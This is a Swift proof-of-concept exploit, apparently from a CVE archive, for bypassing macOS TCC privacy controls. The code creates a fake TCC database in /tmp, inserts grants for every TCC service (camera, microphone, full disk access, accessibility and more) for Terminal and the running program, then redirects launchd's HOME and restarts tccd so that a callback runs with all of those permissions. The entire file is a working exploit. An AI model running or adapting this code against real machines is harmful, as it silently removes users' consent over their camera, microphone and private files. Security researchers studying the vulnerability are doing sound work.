4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / BypassTCC.swift SWIFT
//
//  BypassTCC.swift
//  bypasstcc
//
//  Created by Matt Shockley on 2/25/20.
//  Copyright © 2020 Matt Shockley. All rights reserved.
//

import Foundation

let TMP_HOME           = "/tmp/bypass"
let TCC_DATA_PATH      = "\(TMP_HOME)/Library/Application Support/com.apple.TCC"
let TCC_DB_PATH        = "\(TCC_DATA_PATH)/TCC.db"
let TCC_BUNDLE_ID      = "com.apple.tccd"

// codesign -d -r- "APP_PATH" 2>&1 | awk -F ' => ' '/designated/{log $2}' | csreq -r- -b /tmp/csreq.bin && xxd -p /tmp/csreq.bin | tr -d '\n'
let TERMINAL_BUNDLE_ID = "com.apple.Terminal"
let TERMINAL_CSREQ     = "fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003"

// default database created whenever the TCC daemon can't find one already existing
let CREATE_DB          = """
                        PRAGMA foreign_keys=OFF;
                        BEGIN TRANSACTION;
                        CREATE TABLE admin (key TEXT PRIMARY KEY NOT NULL, value INTEGER NOT NULL);
                        INSERT INTO admin VALUES('version',15);
                        CREATE TABLE policies (    id        INTEGER    NOT NULL PRIMARY KEY,     bundle_id    TEXT    NOT NULL,     uuid        TEXT    NOT NULL,     display        TEXT    NOT NULL,     UNIQUE (bundle_id, uuid));
                        CREATE TABLE active_policy (    client        TEXT    NOT NULL,     client_type    INTEGER    NOT NULL,     policy_id    INTEGER NOT NULL,     PRIMARY KEY (client, client_type),     FOREIGN KEY (policy_id) REFERENCES policies(id) ON DELETE CASCADE ON UPDATE CASCADE);
                        CREATE TABLE access (    service        TEXT        NOT NULL,     client         TEXT        NOT NULL,     client_type    INTEGER     NOT NULL,     allowed        INTEGER     NOT NULL,     prompt_count   INTEGER     NOT NULL,     csreq          BLOB,     policy_id      INTEGER,     indirect_object_identifier_type    INTEGER,     indirect_object_identifier         TEXT,     indirect_object_code_identity      BLOB,     flags          INTEGER,     last_modified  INTEGER     NOT NULL DEFAULT (CAST(strftime('%s','now') AS INTEGER)),     PRIMARY KEY (service, client, client_type, indirect_object_identifier),    FOREIGN KEY (policy_id) REFERENCES policies(id) ON DELETE CASCADE ON UPDATE CASCADE);
                        CREATE TABLE access_overrides (    service        TEXT    NOT NULL PRIMARY KEY);
                        CREATE TABLE expired (    service        TEXT        NOT NULL,     client         TEXT        NOT NULL,     client_type    INTEGER     NOT NULL,     csreq          BLOB,     last_modified  INTEGER     NOT NULL ,     expired_at     INTEGER     NOT NULL DEFAULT (CAST(strftime('%s','now') AS INTEGER)),     PRIMARY KEY (service, client, client_type));
                        CREATE INDEX active_policy_id ON active_policy(policy_id);
                        COMMIT;
                        """

// strings /System/Library/PrivateFrameworks/TCC.framework/TCC /System/Library/PrivateFrameworks/TCC.framework/Resources/tccd | grep -i ktccservice
let ALL_TCC_SERVICES = ["kTCCServiceCamera", "kTCCServiceSensorKitMessageUsage", "kTCCServiceSensorKitSpeechMetrics", "kTCCServiceBluetoothAlways", "kTCCServiceSiri", "kTCCServiceSensorKitMotionHeartRate", "kTCCServiceLinkedIn", "kTCCServiceMicrophone", "kTCCServiceAll", "kTCCServiceScreenCapture", "kTCCServiceContactsLimited", "kTCCServiceSystemPolicyRemovableVolumes", "kTCCServiceSensorKitWatchForegroundAppCategory", "kTCCServiceAccessibility", "kTCCServiceCalls", "kTCCServiceSensorKitWatchOnWristState", "kTCCServiceMSO", "kTCCServiceSensorKitForegroundAppCategory", "kTCCServiceSensorKitWatchMotion", "kTCCServiceTencentWeibo", "kTCCServiceAddressBook", "kTCCServiceAppleEvents", "kTCCServiceSensorKitWatchPedometer", "kTCCServiceSystemPolicyDocumentsFolder", "kTCCServiceBluetoothWhileInUse", "kTCCService", "kTCCServiceShareKit", "kTCCServiceSensorKitWatchHeartRate", "kTCCServiceMotion", "kTCCServiceBluetoothPeripheral", "kTCCServiceCalendar", "kTCCServiceSensorKitPhoneUsage", "kTCCServicePhotos", "kTCCServiceContactsFull", "kTCCServiceSystemPolicyDeveloperFiles", "kTCCServicePostEvent", "kTCCServiceSensorKitDeviceUsage", "kTCCServiceFacebook", "kTCCServiceSinaWeibo", "kTCCServiceSpeechRecognition", "kTCCServiceSystemPolicyDesktopFolder", "kTCCServiceTwitter", "kTCCServiceSensorKitElevation", "kTCCServiceReminders", "kTCCServiceLocation", "kTCCServiceSensorKitMotion", "kTCCServiceSensorKitKeyboardMetrics", "kTCCServiceDeveloperTool", "kTCCServiceLiverpool", "kTCCServicePhotosAdd", "kTCCServiceSensorKitWatchAmbientLightSensor", "kTCCServiceUbiquity", "kTCCServiceFaceID", "kTCCServiceSensorKitStrideCalibration", "kTCCServiceSensorKitWatchSpeechMetrics", "kTCCServiceSensorKitAmbientLightSensor", "kTCCServiceSensorKitLocationMetrics", "kTCCServiceSystemPolicyAllFiles", "kTCCServiceListenEvent", "kTCCServiceSensorKitPedometer", "kTCCServiceSensorKitWatchFallStats", "kTCCServiceFileProviderDomain", "kTCCServiceSystemPolicyNetworkVolumes", "kTCCServiceSensorKitOdometer", "kTCCServiceSystemPolicySysAdminFiles", "kTCCServiceWillow", "kTCCServiceFileProviderPresence", "kTCCServiceMediaLibrary", "kTCCServiceKeyboardNetwork", "kTCCServiceSystemPolicyDownloadsFolder"]

class BypassTCC {
    // who doesn't love singletons in PoC code?
    static let shared = BypassTCC()
    
    // executes another program and waits for the output
    private func runCommand(path: String, arguments: [String]) {
        let task = Process()
        task.executableURL = URL(fileURLWithPath: path)
        task.arguments = arguments
        
        let pipe = Pipe()
        task.standardOutput = pipe
        task.standardError = pipe
        
        try? task.run()
        task.waitUntilExit()
    }

    // create a query to modify the database with whatever kTCCService entitlement we want
    private func givePermission(service: String, bundleid: String, csreq: String = "", bundleidIsPath: Bool = true) -> String {
        // expire 1 year from today
        let perm_timestamp = Int(Date().timeIntervalSince1970 + (60 * 60 * 24 * 365))
        
        let isfile = bundleidIsPath ? 1 : 0;
        let sql = "INSERT INTO access VALUES('\(service)', '\(bundleid)', \(isfile), 1, 1, X'\(csreq)', NULL, NULL, 'UNUSED', NULL, NULL, \(perm_timestamp));"
        
        return sql
    }
    
    // I'm sure there's probably a more Swift-y way to do this
    private func log(_ out: String) {
        let stderr = FileHandle.standardError
        stderr.write((out + "\n").data(using: .utf8)!)
    }

    public func run(exec_path: String, priviledged_cb: () -> Void) {
        log("Starting Bypass!")
        
        do {
            // let's attempt to create our fake TCC directory structure that mimics the one in ~/Library/Application Support/com.apple.TCC
            log("- Creating fake com.apple.tcc directory")
            try FileManager.default.createDirectory(atPath: TCC_DATA_PATH, withIntermediateDirectories: true)
            defer {
                log("- Destroying fake com.apple.tcc directory")
                try? FileManager.default.removeItem(atPath: TMP_HOME)
            }
            
            // let's create a valid, empty TCC database for the daemon
            log("- Creating TCC Database")
            runCommand(path: "/usr/bin/sqlite3", arguments: [TCC_DB_PATH, CREATE_DB])
            
            var queries: [String] = []
            
            // let's give every entitlement to both this application and Terminal
            log("- Giving all kTCCService entitlements to '\(exec_path)'")
            for service in ALL_TCC_SERVICES {
                queries.append(givePermission(service: service, bundleid: "com.apple.Terminal", csreq: TERMINAL_CSREQ, bundleidIsPath: false))
                queries.append(givePermission(service: service, bundleid: exec_path))
                
                log("- Successfully gave '\(service)' entitlement")
            }
            
            // run all of those queries against the empty database
            runCommand(path: "/usr/bin/sqlite3", arguments: [TCC_DB_PATH, queries.joined()])
            
            // we can just stop the user tccd service because the tccd system service will restart it when it needs it
            log("- Setting launchd HOME environment variable to \(TMP_HOME)")
            runCommand(path: "/bin/launchctl", arguments: ["setenv", "HOME", TMP_HOME])
            log("- Restarting TCC daemon")
            runCommand(path: "/bin/launchctl", arguments: ["stop", TCC_BUNDLE_ID])
            defer {
                log("- Unsetting launchd HOME environment variable and restarting TCC daemon")
                runCommand(path: "/bin/launchctl", arguments: ["unsetenv", "HOME"])
                runCommand(path: "/bin/launchctl", arguments: ["stop", TCC_BUNDLE_ID])
            }
            
            // any code run in the callback should be running with all TCC entitlements
            priviledged_cb()
        } catch {
            log("Unexpected error: \(error)")
        }
        
        log("Finished Bypass!")
    }
}